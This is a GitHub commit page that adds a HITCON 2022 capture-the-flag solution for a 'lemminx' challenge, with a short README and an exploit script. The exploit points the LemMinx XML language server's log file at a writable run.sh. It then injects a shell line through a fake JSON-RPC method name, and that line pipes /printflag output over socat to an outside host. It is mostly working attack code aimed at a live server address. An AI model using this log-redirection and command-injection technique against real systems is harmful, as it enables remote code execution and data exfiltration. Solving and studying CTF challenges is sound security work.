Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 932dbb0

Browse files
author
braindead
committed
hitcon-2022: add "lemminx"
1 parent 76e36fd commit 932dbb0

File tree

2 files changed

+128
-0
lines changed

2 files changed

+128
-0
lines changed

‎2022/hitcon-2022/lemminx/README.md

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
LemMinx is started for each connection from `/home/ctf/.../run.sh`, which is writable.
2+
3+
We do an `initialize` call to make LemMinx start writing it's logs to `run.sh`:
4+
5+
```python
6+
call('initialize', {
7+
'rootUri': 'file:///tmp',
8+
'initializationOptions': {
9+
'settings': {
10+
'xml': {
11+
"logs": {
12+
"client": True,
13+
"file": "/proc/self/cwd/run.sh"
14+
},
15+
},
16+
},
17+
},
18+
'capabilities': { # probably not needed, leftover from past experimentation
19+
'executeCommand': {
20+
'dynamicRegistration': True,
21+
},
22+
},
23+
})
24+
```
25+
26+
Then call a non-existent JSON-RPC endpoint to pollute `run.sh` with our code:
27+
28+
```python
29+
call('aaaa\n/printflag | socat - tcp:your.super.secret.public.ip.box.com:1337\n\nbbbb',{})
30+
```
31+
32+
There are several ways to get a newline and an arbitrary string into `run.sh`, but the above
33+
also avoids printing any `(` characters, which would trip up the shell.
34+
35+
Then we disconnect and connect again to execute `/printflag`.

‎2022/hitcon-2022/lemminx/sploit.py

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
import json
2+
import pygments
3+
import pygments.lexers
4+
import pygments.formatters
5+
import time
6+
7+
from braindead import *
8+
log.enable()
9+
args = Args()
10+
args.parse()
11+
12+
if 0:
13+
r = io.process([
14+
'strace',
15+
'-e', '%file',
16+
'-f',
17+
#'java',
18+
#'-jar', './lemminx/org.eclipse.lemminx/target/org.eclipse.lemminx-uber.jar',
19+
'./lemminx-linux',
20+
], stderr='pass')
21+
else:
22+
#r = io.connect(('172.17.0.2', 7777))
23+
r = io.connect(('35.185.130.194', 40001))
24+
25+
rpc_id_ctr = 0
26+
def send_call(method, params):
27+
global rpc_id_ctr
28+
rpc_id_ctr += 1
29+
content = json.dumps({
30+
"jsonrpc": "2.0",
31+
"id": rpc_id_ctr,
32+
"method": method,
33+
"params": params,
34+
})
35+
r.send(f'Content-Length: {len(content)}\r\n\r\n' + content)
36+
return rpc_id_ctr
37+
38+
def reap():
39+
clen = int(r.rla('Content-Length: '))
40+
r.rl()
41+
j = json.loads(r.recvn(clen).decode())
42+
pretty = json.dumps(j, indent=True)
43+
print(pygments.highlight(pretty, lexer=pygments.lexers.JsonLexer(), formatter=pygments.formatters.Terminal256Formatter()))
44+
return j
45+
46+
def call(method, params):
47+
send_call(method, params)
48+
resp = reap()
49+
return resp
50+
51+
call('initialize', {
52+
'rootUri': 'file:///tmp',
53+
'initializationOptions': {
54+
'settings': {
55+
'xml': {
56+
"logs": {
57+
"client": True,
58+
"file": "/proc/self/cwd/run.sh"
59+
},
60+
},
61+
},
62+
},
63+
'capabilities': {
64+
'executeCommand': {
65+
'dynamicRegistration': True,
66+
},
67+
},
68+
})
69+
#send_call('initialized', {})
70+
71+
call('aaaa\n/printflag | socat - tcp:your.super.secret.public.ip.box.com:1337\n\nbbbb',{})
72+
73+
time.sleep(1)
74+
75+
call('workspace/didChangeConfiguration', {
76+
'settings': {
77+
'xml': {
78+
"logs": {
79+
"client": True,
80+
"file": "/tmp/whatever.log"
81+
},
82+
},
83+
},
84+
})
85+
86+
time.sleep(1)
87+
88+
call('exit', {})
89+
90+
while True:
91+
reap()
92+
93+
io.interactive(r)

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /